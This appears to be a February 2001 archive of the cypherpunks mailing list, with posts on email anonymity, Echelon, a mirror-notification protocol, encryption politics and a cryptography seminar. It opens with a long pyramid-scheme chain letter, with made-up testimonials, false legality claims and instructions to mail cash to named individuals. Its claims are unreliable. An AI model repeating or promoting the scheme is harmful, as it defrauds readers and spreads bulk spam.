If you have any questions of the legality of this program, 
contact
the Office of Associate Director for Marketing Practices, Federal
Trade Commission, Bureau of Consumer Protection, Washington, D.C.

/////////////////////////////////////////////////////////////////
/////////////////
ONE TIME MAILING, NO NEED TO REMOVE

/////////////////////////////////////////////////////////////////
/////////////////
This message is sent in compliance of the proposed bill SECTION 
301.
per Section 301, Paragraph (a)(2)(C) of S. 1618. Further
transmission to you by the sender of this e-mail may be stopped 
at
no cost to you by sending a reply to : cris2 at metahoo.com with the
word Remove in the subject line. This message is not intended for
residents in the State of Washington, screening of addresses has
been done to the best of our technical ability.
 
 
 
 
 
 




From millennia at gmx.co.uk  Tue Feb  6 01:34:44 2001
From: millennia at gmx.co.uk (millennia at gmx.co.uk)
Date: Tue, 6 Feb 2001 01:34:44
Subject: "Get The Lifestyle You Want"
Message-ID: <303.552557.426035@themailmachine.rconnect.com>


Get the Lifestyle You Want


AS SEEN ON NATIONAL TV:

''Making over half million dollars every 4 to 5 months from your
home for an investment of only $25 U.S. Dollars expense one
time''

THANKS TO THE COMPUTER AGE AND THE INTERNET!
===============================================

BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR !!

Before you say ''Bull'' , please read the following. This is the
letter you have been hearing about on the news lately. Due to the
popularity of this letter on the Internet, a national weekly news
program recently devoted an entire show to the investigation of
this program described below , to see if it really can make 
people
money.

The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are 
''absolutely
NO. Laws prohibiting the participation in the program and if 
people
can follow the simple instructions, they are bound to make
some mega bucks with only $25 out of pocket cost''.

DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT
THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING
BETTER THAN EVER.

This is what one had to say:

''Thanks to this profitable opportunity. I was approached
many times before but each time I passed on it. I am so glad
I finally joined just to see what one could expect in return
for the minimal effort and money required. To my astonishment, I
received total $ 610,470.00 in21 weeks, with money still
coming in''.
Pam Hedland, Fort Lee, New Jersey.

-----------------------------------------------------------------
--------

Here is another testimonial:

''This program has been around for a long time but I never
believed in it. But one day when I received this again in
the mail I decided to gamble my $25 on it. I followed the
simple instructions and walaa ..... 3 weeks later the money
started to come in. First month I only made $240.00 but
the next 2 months after that I made a total of $290,000.00.
So far, in the past 8 months by re-entering the program, I
have made over $710,000.00 and I am playing it again.
The key to success in this program is to follow the simple
steps and NOTchange anything .''

More testimonials later but first,

*** PRINT THIS NOW FOR YOUR FUTURE REFERENCE ***

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months
easily and comfortably, please read the following...THEN READ
IT AGAIN and AGAIN !!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:

**** Order all 5 reports shown on the list below.

**** For each report, send $5CASH, THE NAME & NUMBER OF
THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS
to the person whose name appears ON THAT LIST next to the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE
TOP LEFT CORNER in case of any mail problems and use tape over 
the
 seal for added security.

**** When you place your order, make sure you order each of the 5
reports. You will need all 5 reports so that you can save them on
your computer and resell them. YOUR TOTAL COST $5X 5 = $25.00.

**** Within a few days you will receive, vie e-mail, each of the 
5
reports from these 5 different individuals. Save them on your
computer so they will be accessible for you to send to the 
1,000's
of people who will order them from you. Also make a floppy of 
these
reports and keep it on your desk in case something happen to your
computer.

****.IMPORTANT -DO NOT alter the names of the people who are
listed next to each report, or their sequence on the list, in
any way other than what is instructed below in step '' 1 through
6 '' or you will loose out on majority of your profits. Once you
understand the way this works, you will also see how it does not
work if you change it.

Remember, this method has been tested, and if you alter, it
will NOT work!!! People have tried to put their friends/relatives
names on all five thinking they could get all the money. But it
does not work this way. Believe us, we all have tried to be 
greedy
and then nothing happened.
So Do Not try to change anything other than what is instructed.
Because if you do, it will not work for you. Remember, honesty
reaps the reward!!!

1.. After you have ordered all 5 reports, take this advertisement
and REMOVE the name & address of the person in REPORT # 5. This
person has made it through the cycle and is no doubt counting
their fortune.

2.... Move the name & address in REPORT #4down TO REPORT #5.

3.... Move the name & address in REPORT #3 down TO REPORT #4.

4.... Move the name & address in REPORT #2 down TO REPORT #3.

5.... Move the name & address in REPORT #1 down TO REPORT #2

6.... Insert YOUR name & address in the REPORT #1 Position.

PLEASE MAKE SURE you copy every name & address
ACCURATELY!
=================================================

Take this entire letter, with the modified list of names, and 
save
it on your computer. DO NOT MAKE ANY OTHER CHANGES.
Save this on a disk as well just in case if you loose any data.

To assist you with marketing your business on the Internet, the
5 reports you purchase will provide you with invaluable
marketing information which includes how to send bulk e-mails
legally, where to find thousands of free classified ads and much
more.

There are 2 Primary methods to get this venture going:

METHOD # 1 : BY SENDING BULK E-MAIL LEGALLY
============================================
let's say that you decide to start small, just to see how it
goes, and we will assume You and those involved send out only
5,000 e-mails each. Let's also assume that the mailing receive 
only
a 0.2% response (the response could be much better but lets just
say it is only 0.2% . Also many people will send out hundreds of
thousands e-mails instead of only 5,000 each).

Continuing with this example, you send out only 5,000 e-mails.
With a 0.2%response, that is only 10 orders for report #1.
Those 10people responded by sending out 5,000 e-mail
each for a total of 50,000. Out of those 50,000 e-mails only
0.2% responded with orders. That's = 100 people responded
and ordered Report #2. Those 100 people mail out 5,000
e-mails each for a total of 500,000 e-mails. The 0.2% response
to that is 1000 orders for Report #3. Those 1000 people send
out 5,000 e-mails each for a total of 5 million e-mails sent out.
The 0.2% response to that is 10,000 orders for Report #4.
Those 10,000 people send out 5,000 e-mails each for a total of
50,000,000 (50 million)e-mails. The 0.2% response to that is
100,000 orders for Report # 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half million).

Your total income in this example is:
1..... $50+
2..... $500+
3..... $5,000 +
4..... $50,000+
5..... $500,000.........Grand Total = $555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF
MONEY!

-----------------------------------------------------------------
-----------

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for
a moment what would happen if everyone, or half or even one 4thof
those people mailed 100,000 e-mails each or more? There are
over 150 million people on the Internet worldwide and counting.
Believe me, many people will do just that, and more!

METHOD #2 : BY PLACING FREE ADS ON THE INTERNET
===================================================
Advertising on the net is very very inexpensive and there are
hundreds of FREE places to advertise. Placing a lot of free ads
on the Internet will easily get a larger response. We strongly
suggest you start with Method # 1 and add METHOD #2 as you go
along.

For every $5 you receive, all you must do is e-mail them the 
Report
they ordered. That's it . Always provide same day service on all
orders. This will guarantee that the e-mail they send out, with 
your
name and address on it, will be prompt because they can not
advertise until they receive the report.

_______________ AVAILABLE REPORTS__________________

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.

Notes: Always send $5 cash (U.S. CURRENCY) for each Report.
Checks NOT accepted. Make sure the cash is concealed by wrapping
it in at least 2 sheets of paper. On one of those sheets of 
paper,
Write the NUMBER & the NAME of the Report you are ordering,
YOUR E-MAIL ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW:
==============================================
Report #1:"The Insider's Guide to Advertising for Free on the 
Net"
Order Report #1 from:

Don Dagner
302 Gallager St. E. / P.O.Box 76
Morgan, MN 56266
USA 
-----------------------------------------------------------------
--
Report #2: "The Insider's Guide to Sending Bulk e-mail on the 
Net"
Order Report #2 from:

Cris Ardeleanu
5571 Dove Trace
Norcross, Ga. 30093
USA

-----------------------------------------------------------------
-
Report #3:"The Secret to Multilevel marketing on the Net"
Order Report #3 from:

 Sandy Siladi
5638 Friar Tuck Ct
Lilburn, Ga. 30047
USA

-----------------------------------------------------------------
-
Report #4:"How to become a millionaire utilizing MLM & the Net"
Order Report #4 from:

  Jennifer Randall
10600 Brunswick Rd #113
Bloomington, MN 55438
USA
 
-----------------------------------------------------------------
---
Report #5:"HOW TO SEND 1 MILLION E-MAILS FOR FREE"
Order Report #5 from:

 Frank Willmar
8901 W 124th St Apt 290
Shawnee Mission, KS 66213
USA

$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.

After you have received 10 orders, 2 to 3 weeks after that
you should receive 100 orders or more for REPORT #2.
If you did not, continue advertising or sending e-mails until
you do.

Once you have received 100 or more orders for Report #2,
YOU CAN RELAX, because the system is already working for
you , and the cash will continue to roll in!

THIS IS IMPORTANT TO REMEMBER :Every time your name is
moved down on the list, you are placed in front of a different
report.
You can KEEP Track of your PROGRESS by watching which
report people are ordering from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH OF E-MAIL SAND
START THE WHOLE PROCESS AGAIN. There is NO LIMIT to
the income you can generate from this business!!!
____________________________________________________

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM:

"You have just received information that can give you financial
freedom for the rest of your life, with NO RISK and JUST A
LITTLE BIT OF EFFORT. You can make more money in the
next few weeks and months than you have ever imagined.

Follow the program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now.
Remember to e-mail a copy of this exciting report after you
have put your name and address in Report #1 and moved others to
#2...........#5 as instructed above. One of the people you send
this to may send out 100,000 or more e-mails and your name will 
be
on everyone of them. Remember though, the more you send out the
more potential customers you will reach.

So my friend, I have given you the ideas, information,
materials and opportunity to become financially independent.
IT IS UP TO YOU NOW!

************** MORETESTIMONIALS****************

'' My name is Mitchell. My wife , Jody and I live in Chicago.
I am an accountant with a major U.S. Corporation and I
make pretty good money. When I received this program I grumbled
to Jody about receiving ''junk mail''. I made fun of the whole
thing, spouting my knowledge of the population and percentages
involved. I ''knew'' it wouldn't work. Jody totally ignored my
supposed intelligence and few days later she jumped in with both
feet. I made merciless fun of her, and was ready to lay the old 
''I
told you so'' on her when the thing didn't work. Well, the laugh
was on me! Within 3 weeks she had received 50 responses. Within 
the
next 45 days she had received a total of $ 147,200.00 all cash!I
was shocked. I have joined Jody in her ''hobby''.
Mitchell Wolf, M.D. , Chicago, Illinois

-----------------------------------------------------------------
--------
''Not being the gambling type, it took me several weeks to
make up my mind to participate in this plan. But conservative 
that
I am, I decided that the initial investment was so little that
there was just no way that I wouldn't get enough orders to at 
least
get my money back.
I was surprised when I found my medium size post office box 
crammed
with orders. I made $319,210.00 in the first 12 weeks. The nice
thing about this deal is that it does not matter where people 
live.
There simply isn't a better investment with a faster return and 
so
big''.
Dan Sondstrom, Alberta, Canada

-----------------------------------------------------------------
----------
''I had received this program before. I deleted it, but later I
wondered if I should have given it a try. Of course, I had no 
idea
who to contact to get another copy, so I had to wait until I was 
e-
mailed again by someone else.........11 months passed then it
luckily came again...... I did not delete this one! I made more
than $490,000 on my first try and all the money came within 22
weeks''.
Susan De Suza, New York, N.Y.

-----------------------------------------------------------------
--------
'' It really is a great opportunity to make relatively easy money
with little cost to you. I followed the simple instructions
carefully and within 10 days the money started to come in. My 
first
month I made $ 20, 560.00 and by the end of third month my total
cash count was $ 362,840.00.
Life is beautiful, Thanx to Internet''.
Fred Dellaca, Westport, New Zealand

-----------------------------------------------------------------
--------
ORDER YOUR REPORTS TODAY AND GET STARTED ON
OUR ROAD TO FINANCIAL FREEDOM!
=================================================
If you have any questions of the legality of this program, 
contact
the Office of Associate Director for Marketing Practices, Federal
Trade Commission, Bureau of Consumer Protection, Washington, D.C.

/////////////////////////////////////////////////////////////////
/////////////////
ONE TIME MAILING, NO NEED TO REMOVE

/////////////////////////////////////////////////////////////////
/////////////////
This message is sent in compliance of the proposed bill SECTION 
301.
per Section 301, Paragraph (a)(2)(C) of S. 1618. Further
transmission to you by the sender of this e-mail may be stopped 
at
no cost to you by sending a reply to : cris2 at metahoo.com with the
word Remove in the subject line. This message is not intended for
residents in the State of Washington, screening of addresses has
been done to the best of our technical ability.
 
 
 
 
 
 
 
 
 




From 0094247 at sms.ed.ac.uk  Mon Feb  5 18:18:42 2001
From: 0094247 at sms.ed.ac.uk (Zombywuf)
Date: Tue, 6 Feb 2001 02:18:42 -0000
Subject: anonymity
In-Reply-To: <PHEOLKHKKADCALFJMBNIMENNCDAA.pzakas@toucancapital.com>
References: <Pine.SOL.4.10.10102051609390.2793-100000@cavern.uark.edu>
Message-ID: <3A7F5F02.27114.CCE9AD1@localhost>



From andrew at mail.ru  Mon Feb  5 16:19:21 2001
From: andrew at mail.ru (andrew)
Date: Tue, 6 Feb 2001 03:19:21 +0300
Subject: ���������� ���� ������
Message-ID: <200102060019.QAA18899@toad.com>



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From flatrate at RXAR.beer.com  Tue Feb  6 04:26:17 2001
From: flatrate at RXAR.beer.com (flatrate at RXAR.beer.com)
Date: Tue, 6 Feb 2001 06:26:17 -0600
Subject: FLAT RATE Long Distance - $69.95 -GUFK
Message-ID: <200102061226.GAA09244@einstein.ssz.com>


Hello cypherpunks -

Someone's finally got it right!

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   **  INCLUDES IN-STATE tolls also!
   **  Eliminate your total LD bill!
   **  Big Residual Income to boot!

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PLEASE NOTE:  I received your e-mail as
someone interested in saving money on their
phone bill.  If this is in error, I apologize.
You may request removal through this link:
reply-to:remov_t at soon.com
with REMOVE in the subject line





From ravage at einstein.ssz.com  Tue Feb  6 05:26:38 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 06 Feb 2001 07:26:38 -0600
Subject: Computer Agents Can Evolve Their Own Language
Message-ID: <3A7FFB8E.8F8D744C@ssz.com>


http://unisci.com/stories/20011/0206016.htm
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From bear at sonic.net  Tue Feb  6 08:17:13 2001
From: bear at sonic.net (Ray Dillinger)
Date: Tue, 6 Feb 2001 08:17:13 -0800 (PST)
Subject: anonymity
In-Reply-To: <200102060750.XAA04540@user5.hushmail.com>
Message-ID: <Pine.LNX.4.21.0102060815030.11693-100000@bolt.sonic.net>


Regularly intercepting POTUS' international email is hardly 
"untargeted".  I figure that's probably a fairly routine, if 
small, part of Echelon.

			Bear

POTUS = "President Of The United States" for all who aren't 
up on spook jargon.



On Mon, 5 Feb 2001 keyser-soze at hushmail.com wrote:

>doubtful.  they probably receive the email at the destination then alert 
>the
>chain-of-jurisdiction for investigation. count me as a technical skeptic 
>of
>an 'untargeted' echelon program.
>phillip
>
>
>-----Original Message-----
>From: owner-cypherpunks at Algebra.COM
>[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Mac Norton
>Sent: Monday, February 05, 2001 5:12 PM
>To: Blank Frank
>Cc: cypherpunks at toad.com
>Subject: Re: anonymity
>
>Intercepted by the CIA?  Do they regularly pre-screen POTUS's
>incoming international e-mail, or what?
>MacN
>
>>>This approach might make a good test for ZeroKnowledge resistance to traffic 
>analysis.  Since chain of evidence is useless for ZKS messages (if you believe 
>ZKS) only TA could finger the sender.  Any takers?
>
>ks




From ptrei at rsasecurity.com  Tue Feb  6 07:17:41 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Tue, 6 Feb 2001 10:17:41 -0500 
Subject: URL spam
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EB89@exna07.securitydynamics.com>


He's getting better. Jim's posts used to consist of a cryptic subject line,
the URL,
and the entire HTML page (sometimes 10's of kb) included as an attachment.

Just a cryptic subject line and a URL are a big improvement. It's my hope
that 
one day he'll also add a descriptive line or two to his posts, so we can
decide 
whether to check the full article.

Peter Trei
 

> ----------
> From: 	aluger at hushmail.com[SMTP:aluger at hushmail.com]
> At Mon, 05 Feb 2001 07:11:17 -0600, Jim Choate <ravage at EINSTEIN.ssz.com> 
> wrote:
> 
> >http://www.cnn.com/2001/TECH/computing/02/02/biometric.security.idg/index
> .html
> 
> Instead of being a COMPLETE lazy ass, maybe you could copy-paste just a 
> tiny excerpt from all these URLs you keep spamming us with?
> 




From George at Orwellian.Org  Tue Feb  6 07:52:55 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Tue, 6 Feb 2001 10:52:55 -0500 (EST)
Subject: John Ashcroft's huge erect penis
Message-ID: <200102061552.KAA28518@www0.aa.psiweb.com>


Dumb and Dumber.

FoxNews.com,  Tuesday, February 6, 2001
#    
#    Report: Terrorists Using Internet to Plot Moves
#    
#    ARLINGTON, Va. - Usama Bin Laden and other Muslim extremists 
#    are using the Internet to plan terrorist activities against the 
#    United States and its allies, USA Today reported Tuesday.
#    
#    The paper said weeks of interviews with U.S. law enforcement 
#    officials and other experts disclosed details of how extremists 
#    hide maps and photographs of terrorist targets in sports chat 
#    rooms, on pornographic bulletin boards and other popular Web 
#    sites.
#    
#    The report said instructions for terrorist activities also are 
#    posted on the sites, which the officials declined to name.
#    
#    "To a greater and greater degree, terrorist groups, including 
#    Hezbollah, Hamas and Bin Laden's al Qaida group, are using 
#    computerized files, e-mail and encryption to support their 
#    operations," CIA Director George Tenet wrote last March to the 
#    Senate Foreign Relations Committee.
#    
#    USA Today said the testimony was presented at a closed-door 
#    hearing and made public later.
#    
#    Following up on that report, the paper said it learned from 
#    various unnamed officials and investigators that the messages 
#    are scrambled using free encryption programs set up by groups 
#    that advocate privacy on the Internet.
#    
#    "It's something the intelligence, law-enforcement and military 
#    communities are really struggling to deal with," Ben Venzke of 
#    the cyberintelligence company iDEFENSE told the paper.
#    
#    "The operational details and future targets, in many cases, are 
#    hidden in plain view on the Internet. Only the members of the 
#    terrorist organizations, knowing the hidden signals, are able 
#    to extract the information."

----

Hey, Declan... I just love waiting for doubleclick.net when
pulling up Politech pages. Word. Paid. Declan.

>From ghoulies and ghosties, longleggety beasties,
and things that click slow in the night.

----

Pinky and the Brain just had an episode where he
was going to spam the world (actually it was paper
mail), and he would take over when promising the
mad world to prohibit the practice.

His downfall was network-related. First, his
infomercial with every keyword jingle caused
a phone circuit jammination. Then, everyone
flushed their toilets at the same time after
the telecast, destroying his water-cooled
computer.

Pinky did not screw it up this time.




From tom at lemuria.org  Tue Feb  6 02:24:10 2001
From: tom at lemuria.org (Tom)
Date: Tue, 6 Feb 2001 11:24:10 +0100
Subject: published secret - similiar to AP prot
Message-ID: <20010206112409.B28982@lemuria.org>


I'd like to bounce an idea off the list and get some feedback,
especially on what I missed.

say alice has some information, published e.g. on her website. she is
afraid that said information may be a thought crime, aka decss or an
sdmi hack.
bob makes a copy of the information and wants to inform alice that he
did so in case a court or some jackboots tell her to take it down, so
she can link to him or do twist her dns records, whatever.

so far, simple. the new twist is that I want bob to know when alice (or
someone else) makes use of the information. at the lowest level, bob
may want to simply know when his mirror is being used. or the
information may be highly illegal and bob must know that he is now in
the line of fire. or maybe he doesn't even actually provide the
information until he gets the message that it is now required (think
moving target).

my solution is as follows:

when bob copies the info, he sends a message to alice. the "outer
shell" is encrypted to alice private key, to ensure that only alice can
make use of it. it contains a URL, a public key and a second, encrypted part. 
the URL is under bob's control and provides the key to the second part. it is
not linked from anywhere and reasonably complicated to make any
"accidental" hit to it extremely unlikely.
come day X where bob's mirror is needed. alice decrypts her mail and
visits bob's URL to get the 2nd key. bob now knows (or at least can
know, if he cares) that alice is in posession of the whole message
(e.g. containing the URL of his mirror site) and can react accordingly.
the 2nd key is also encrypted to alice, so eve can not learn about the
whole message until and if alice decides to publish it (e.g. link to
the new mirror site).
the 2nd key is also signed with the key contained in the 1st message in
order to assure alice that the information she now retrieves (possibly
months or years later) is from the same source as the original message.



problems I know about:

legally, this surely puts bob and alice "in cooperation", so a legal
injunction against alice will bind bob as well. any ideas on how to
solve that would be great.
it sure sounds a little heavy for a simple goal. I'm fairly sure there is 
a more general solution to the problem. it's just so common. "bob sends 
alice a message. bob needs to know when alice reads it."


-- 
-- http://www.lemuria.org
-- http://www.Nexus-Project.net
--




From jchoate at dev.tivoli.com  Tue Feb  6 09:24:14 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Tue, 06 Feb 2001 11:24:14 -0600
Subject: CNN.com - Sci-Tech - Report: Bin Laden uses Web to plan terrorism - 
 February 6, 2001
Message-ID: <3A80333E.B5E97297@dev.tivoli.com>


http://www.cnn.com/2001/TECH/internet/02/06/terrorists.internet.ap/index.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From hseaver at harmon.arrowhead.lib.mn.us  Tue Feb  6 10:04:15 2001
From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver)
Date: Tue, 06 Feb 2001 12:04:15 -0600
Subject: encryption tools to be banned? bin-Laden
References: <000501c09061$b2d62520$02c8a8c0@INSPIRED>
Message-ID: <3A803C9F.725409BE@harmon.arrowhead.lib.mn.us>


http://www.go2net.com/headlines/general/20010206/282876.html


-- 
Harmon Seaver, MLIS	Systems Librarian
Arrowhead Library System	Virginia, MN
(218) 741-3840	hseaver at arrowhead.lib.mn.us 
http://harmon.arrowhead.lib.mn.us




From pzakas at toucancapital.com  Tue Feb  6 09:09:08 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Tue, 6 Feb 2001 12:09:08 -0500
Subject: anonymity
In-Reply-To: <200102060750.XAA04540@user5.hushmail.com>
Message-ID: <PHEOLKHKKADCALFJMBNIGEOICDAA.pzakas@toucancapital.com>



hmmm.  Three comments about zeroknowledge's anonymous e-mail (the conclusion
is 'so what'?):

1. do they understand networks? ZK seems to implement the right kind of
encryption (ian goldberg is good at that, we assume this from his history,
[btw has he actually performed cryptanalysis in live environments?]); I
don't know who's designing the network, do you?  Does zk traffic traverse
public networks (via VPN or otherwise)?  Do these networks collect packet
data (to, say, analyse attacks)?  Do they stagger packet transmissions to
confuse origin and destination?  Do they only broadcast real data and no
masking data?  And if they properly conceal data how well do they scale?
With all the encryption of traffic, etc. ZK's adoption by isps, etc. etc. is
a scalability question.

2. is their e-mail system really anonymous? if i were a known bad actor, le
might be capturing data from my pc or my isp or my phone company directly.
why bother worming through zk networks?  oh, and if someone could respond to
you via your anonymous zk e-mail address, isn't that an
instantaneous-tag-the-sender tool for le?  Gee, let's see the recipe for
this...serve zk a search warrant, map zk address 'A' to e-mail address 'B'
and there you have it: easier than instant jello pudding.  Nice system for
anonymizing traffic to companies, bad system if you're trying to get away
with something you shouldn't.

3. questionable adoption of anonymous e-mail.  zk is in what's known in the
finance world as a 'land grab'...move as many people as possible into your
turf, shutting down the competition, then upsell your customers later.  but
zk doesn't have the cash to market anonymous e-mail to consumers directly
(most of whom don't care about this feature anyway)...and i can't think of a
reasonable business justification for a company to use such a service.  so
i'll go out on a limb and predict now that anonymous email is going to be
nearly impossible for them to sell to more than 1/2 of 1% of the world.
plus would you want to receive anonymous e-mail?  i prefer filtering my
e-mail based on sender.  though i suppose one could send a pgp key along
with the message, but that's as good as an id as you can get (better than
actual e-mail address i'd say).

4. ZK is a commercial entity, ergo cooperation with everyone.  I'm sure they
have IPO plans.  They claim IBM as a partner (actually IBM is selling them
stuff, but these days anyone who sells you equipment is a 'partner'...I see
this every day).  If a grandma in illinois is going to invest in their
company when it goes public, is she going to be happy that drug dealers,
stalkers and pedophiles use this network?  I don't think so.  I'm sure there
are contingency plans for 'revealing' activity when served with a subpeona
and/or a search warrant.  Otherwise grandma won't invest and won't allow her
pension fund to invest in the company. (see point 2 above).

5. Is ZK a spammers tool?  If truly secure and anonymous, etc. etc. etc. why
couldn't the spam king use it? If it is a spammers tool will ZK be
blackholed?  I can already imagine aol and others blocking ZK traffic to
minors, and perhaps adding it to it's 'dangerous data origins' list, meaning
it will appear on an anti-spam list.

6. If I was really concerned by received threats via zk, I would I would
simply reject all in-bound traffic from ZK.  anyway, see point 2 above
again.

I don't believe a commercial entity, especially a US-based one with IPO
plans, can market themselves as a full anonymizing service for e-mail.
Their real value, it seems to me, is enforcing privacy rights with respect
to cookies. but anonymous proxies do the job just fine for this.  They can't
anonymize e-commerce transactions (how would you buy a book?, etc.  I don't
see the business value in encrypting and anonymizing e-mail in a general
sense (where's the business model?)

I think anonymous e-mail is best achieved through a cooperative,
non-commercial program of unaffiliated individuals (with no commercial
worries, and lots of jurisdictions around the world), or by simply
purchasing pre-paid internet access, or if i were a wealthy bad actor find a
more expensive solution.

phillip


-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of
keyser-soze at hushmail.com
Sent: Tuesday, February 06, 2001 2:33 AM
To: Mac Norton; Blank Frank; dmolnar
Cc: Cypherpunks
Subject: Re: anonymity


doubtful.  they probably receive the email at the destination then alert
the
chain-of-jurisdiction for investigation. count me as a technical skeptic
of
an 'untargeted' echelon program.
phillip


-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Mac Norton
Sent: Monday, February 05, 2001 5:12 PM
To: Blank Frank
Cc: cypherpunks at toad.com
Subject: Re: anonymity

Intercepted by the CIA?  Do they regularly pre-screen POTUS's
incoming international e-mail, or what?
MacN

>>This approach might make a good test for ZeroKnowledge resistance to
traffic
analysis.  Since chain of evidence is useless for ZKS messages (if you
believe
ZKS) only TA could finger the sender.  Any takers?

ks




From cynrenee at hotmail.com  Tue Feb  6 10:52:21 2001
From: cynrenee at hotmail.com (cyn&renee cyn&renee)
Date: Tue, 06 Feb 2001 12:52:21 -0600
Subject: stealth program
Message-ID: <F66ZBjgEG4XnhYUmE8m00012841@hotmail.com>


looking for a Bill that sells the stealth program, did not know if this was 
the email address...

cyndi
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From christof at ece.WPI.EDU  Tue Feb  6 09:59:46 2001
From: christof at ece.WPI.EDU (Christof Paar)
Date: Tue, 6 Feb 2001 12:59:46 -0500 (EST)
Subject: WPI Cryptoseminar, Wednesday, Feb 7
Message-ID: <mailman.358.1576007494.31620.cypherpunks-legacy@lists.cpunks.org>


Here we go again, the WPI Cryptoseminar starts tomorrow, Wednesday. Sorry
for the late notice.  - Christof

**********************************************************************

                    WPI CRYPTOGRAPHY SEMINAR

     Efficient Implementation of Elliptic Curve Cryptosystems
        on the TI MSP430x33x Family of Microcontrollers

                        Jorge Guajardo
                             WPI


Place:       AK218

Date & Time: Wednesday, Feb 7, 1:30pm
             (refreshments at 1:15pm)


This contribution describes a methodology used to efficiently
implement elliptic curves (EC) over $GF(p)$ on the 16-bit TI
MSP430x33x family of low-cost microcontrollers. We show that it is
possible to implement EC cryptosystems in highly constrained embedded
systems and still obtain acceptable performance at low cost.  We
modified the EC point addition and doubling formulae to reduce the
number of intermediate variables while at the same time allowing for
flexibility.  We used a generalized-Mersenne prime to implement the
arithmetic in the underlying field. We take advantage of the special
form of the moduli to minimize the number of precomputations needed
to implement inversion via Fermat's little theorem and the $k$-ary
method of exponentiation.  We apply these ideas to an implementation
of an elliptic curve system over $GF(p)$, where $p=2^{128} - 2^{97}-1$.
We show that a scalar point multiplication can be achieved in 3.4
seconds without any stored/precomputed values and the processor
clocked at 1 MHz.

This work will also be presented next week at PKC 2001 in Korea.
----------------------------------------------------------------------

DIRECTIONS:

The WPI Cryptoseminar is being held in the Atwater Kent building on
the WPI campus. The Atwater Kent building is at the intersection of
the extension of West Street (labeled "Private Way") and Salisbury
Street. Directions to the campus can be found at
     http://www.wpi.edu/About/Visitors/directions.html


ATTENDANCE:

The seminar is open to everyone and free of charge. Simply send me a
brief email if you plan to attend.


TALKS IN THE SPRING 2001 SEMESTER:

2/7   Jorge Guajardo, WPI
      Efficient Implementation of Elliptic Curve Cryptosystems
      on the TI MSP430x33x Family of Microcontrollers

TBA   Daniel Bailey, NTRU and Brown University
      NTRU in constraint applications

TBA   Andre Weimerskirch, WPI
      Application of the Mordell-Well Group to Cryptographic Systems
      (MS Thesis presentation)

TBA   Adam Woodbury, WPI
      Public-key Cryptography in Constraint Environments
      (MS Thesis presentation)

TBA   Thomas Wollinger, WPI
      Hardware Architectures for Hyperelliptic Curve Cryptosystems
      (MS Thesis presentation)

See
  http://www.ece.WPI.EDU/Research/crypt/seminar/index.html
for talk abstracts.


MAILING LIST:

If you want to be added to the mailing list and receive talk
announcements together with abstracts, please send me a short email.
Likewise, if you want to be removed from the list, just send me a
short email.

Regards,

Christof Paar


! WORKSHOP ON CRYPTOGRAPHIC HARDWARE AND EMBEDDED SYSTEMS (CHES 2001) !
!                  Paris, France, May 13-16, 2001                     !
!                       www.chesworkshop.org                          !

***********************************************************************
                 Christof Paar,  Assistant Professor
          Cryptography and Information Security (CRIS) Group
      ECE Dept., WPI, 100 Institute Rd., Worcester, MA 01609, USA
fon: (508) 831 5061    email: christof at ece.wpi.edu
fax: (508) 831 5491    www:   http://ee.wpi.edu/People/faculty/cxp.html
***********************************************************************






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--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
